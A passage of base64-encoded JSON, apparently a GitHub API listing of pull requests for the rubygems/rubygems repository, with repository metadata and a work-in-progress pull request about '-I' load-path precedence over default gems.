R1Y2tpbmF0b3IvcnVieWdlbXMuZ2l0Iiwic3ZuX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9kdWNraW5hdG9yL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwOi8vcnVieWdlbXMub3JnIiwic2l6ZSI6MTQxMDMsInN0YXJnYXplcnNfY291bnQiOjAsIndhdGNoZXJzX2NvdW50IjowLCJsYW5ndWFnZSI6IlJ1YnkiLCJoYXNfaXNzdWVzIjpmYWxzZSwiaGFzX3Byb2plY3RzIjp0cnVlLCJoYXNfZG93bmxvYWRzIjp0cnVlLCJoYXNfd2lraSI6ZmFsc2UsImhhc19wYWdlcyI6ZmFsc2UsImZvcmtzX2NvdW50IjowLCJtaXJyb3JfdXJsIjpudWxsLCJhcmNoaXZlZCI6ZmFsc2UsIm9wZW5faXNzdWVzX2NvdW50IjowLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjAsIm9wZW5faXNzdWVzIjowLCJ3YXRjaGVycyI6MCwiZGVmYXVsdF9icmFuY2giOiJtYXN0ZXIifX0sImJhc2UiOnsibGFiZWwiOiJydWJ5Z2VtczptYXN0ZXIiLCJyZWYiOiJtYXN0ZXIiLCJzaGEiOiI4MjcxOTE1MTA0OWExNzk4Nzk4OWIwODljNWIwZDgxYjFiOGRmNTA3IiwidXNlciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJyZXBvIjp7ImlkIjo2MTQwNzAsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6InJ1YnlnZW1zL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6Ik9yZ2FuaXphdGlvbiIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOmZhbHNlLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9mb3JrcyIsImtleXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9rZXlzey9rZXlfaWR9IiwiY29sbGFib3JhdG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RlYW1zIiwiaG9va3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ob29rcyIsImlzc3VlX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ldmVudHMiLCJhc3NpZ25lZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9hc3NpZ25lZXN7L3VzZXJ9IiwiYnJhbmNoZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy90YWdzIiwiYmxvYnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvYmxvYnN7L3NoYX0iLCJnaXRfdGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvcmVmc3svc2hhfSIsInRyZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzey9zaGF9Iiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhbmd1YWdlcyIsInN0YXJnYXplcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGFyZ2F6ZXJzIiwiY29udHJpYnV0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdWJzY3JpYmVycyIsInN1YnNjcmlwdGlvbl91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmlwdGlvbiIsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0c3svc2hhfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWVudHN7L251bWJlcn0iLCJpc3N1ZV9jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy97K3BhdGh9IiwiY29tcGFyZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUve2Jhc2V9Li4ue2hlYWR9IiwibWVyZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWVyZ2VzIiwiYXJjaGl2ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3thcmNoaXZlX2Zvcm1hdH17L3JlZn0iLCJkb3dubG9hZHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kb3dubG9hZHMiLCJpc3N1ZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXN7L251bWJlcn0iLCJwdWxsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzey9udW1iZXJ9IiwibWlsZXN0b25lc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL21pbGVzdG9uZXN7L251bWJlcn0iLCJub3RpZmljYXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbm90aWZpY2F0aW9uc3s/c2luY2UsYWxsLHBhcnRpY2lwYXRpbmd9IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzey9uYW1lfSIsInJlbGVhc2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcmVsZWFzZXN7L2lkfSIsImRlcGxveW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZGVwbG95bWVudHMiLCJjcmVhdGVkX2F0IjoiMjAxMC0wNC0xNlQxOTowMjo0NFoiLCJ1cGRhdGVkX2F0IjoiMjAxOC0wMS0wNVQxOTozNjowNloiLCJwdXNoZWRfYXQiOiIyMDE4LTAxLTA1VDA4OjIwOjM1WiIsImdpdF91cmwiOiJnaXQ6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zLmdpdCIsInNzaF91cmwiOiJnaXRAZ2l0aHViLmNvbTpydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJjbG9uZV91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3ZuX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImhvbWVwYWdlIjoiaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvIiwic2l6ZSI6MTQyOTAsInN0YXJnYXplcnNfY291bnQiOjE5MDYsIndhdGNoZXJzX2NvdW50IjoxOTA2LCJsYW5ndWFnZSI6IlJ1YnkiLCJoYXNfaXNzdWVzIjp0cnVlLCJoYXNfcHJvamVjdHMiOmZhbHNlLCJoYXNfZG93bmxvYWRzIjp0cnVlLCJoYXNfd2lraSI6ZmFsc2UsImhhc19wYWdlcyI6ZmFsc2UsImZvcmtzX2NvdW50Ijo5NTksIm1pcnJvcl91cmwiOm51bGwsImFyY2hpdmVkIjpmYWxzZSwib3Blbl9pc3N1ZXNfY291bnQiOjE2MiwibGljZW5zZSI6eyJrZXkiOiJvdGhlciIsIm5hbWUiOiJPdGhlciIsInNwZHhfaWQiOm51bGwsInVybCI6bnVsbH0sImZvcmtzIjo5NTksIm9wZW5faXNzdWVzIjoxNjIsIndhdGNoZXJzIjoxOTA2LCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiX2xpbmtzIjp7InNlbGYiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTg5OCJ9LCJodG1sIjp7ImhyZWYiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xODk4In0sImlzc3VlIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODk4In0sImNvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODk4L2NvbW1lbnRzIn0sInJldmlld19jb21tZW50cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xODk4L2NvbW1lbnRzIn0sInJldmlld19jb21tZW50Ijp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzL2NvbW1lbnRzey9udW1iZXJ9In0sImNvbW1pdHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTg5OC9jb21taXRzIn0sInN0YXR1c2VzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzLzg5OTFkMGQ3MDJkMTQ5NjlhOTllYTQ0ZjBmNTdiMzI3YmY4OTdmYmMifX0sImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik9XTkVSIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE4NjgiLCJpZCI6MTEwNjc3MTc2LCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE4NjgiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE4NjguZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE4NjgucGF0Y2giLCJpc3N1ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODY4IiwibnVtYmVyIjoxODY4LCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJ0aXRsZSI6IltSZXF1aXJlXSBFbnN1cmUgLUkgYmVhdHMgYSBkZWZhdWx0IGdlbSIsInVzZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiYm9keSI6IiMgRGVzY3JpcHRpb246XHJcblxyXG5GaXhlcyAjMTg2Ni5cclxuRGVmaW5pdGVseSBhIFdJUCwganVzdCB3YW50ZWQgdG8gbGV0IGV2ZXJ5b25lIGhhdmUgYSBsb29rIGF0IHRoaXMuXHJcblxyXG4jIFRhc2tzOlxyXG5cclxuLSBbIF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXHJcbi0gWyBdIFdyaXRlIHRlc3RzXHJcbi0gWyBdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cclxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xyXG5cclxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cclxuIiwiY3JlYXRlZF9hdCI6IjIwMTctMDMtMTRUMTc6MzQ6NDJaIiwidXBkYXRlZF9hdCI6IjIwMTgtMDEtMDVUMDY6NTg6MTlaIiwiY2xvc2VkX2F0IjpudWxsLCJtZXJnZWRfYXQiOm51bGwsIm1lcmdlX2NvbW1pdF9zaGEiOiIxNzMyMTAyOWY5ZmZiZGRkMGYyMmUwNDJiYzM5MmNiM2RmZTZlNWM4IiwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sInJlcXVlc3RlZF9yZXZpZXdlcnMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xODY4L2NvbW1pdHMiLCJyZXZpZXdfY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xODY4L2NvbW1lbnRzIiwicmV2aWV3X2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4NjgvY29tbWVudHMiLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzLzllM2UyYWExMzJjMWQ5MmE3YmNiYmE5OGFmZGNmODdiYWU0MDhlMmMiLCJoZWFkIjp7ImxhYmVsIjoicnVieWdlbXM6c2VnLWZpeC1yZXF1aXJlLWRhc2gtaS1iZWF0cy1kZWZhdWx0LWdlbSIsInJlZiI6InNlZy1maXgtcmVxdWlyZS1kYXNoLWktYmVhdHMtZGVmYXVsdC1nZW0iLCJzaGEiOiI5ZTNlMmFhMTMyYzFkOTJhN2JjYmJhOThhZmRjZjg3YmFlNDA4ZTJjIiwidXNlciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJyZXBvIjp7ImlkIjo2MTQwNzAsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6InJ1YnlnZW1zL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6Ik9yZ2FuaXphdGlvbiIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOmZhbHNlLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1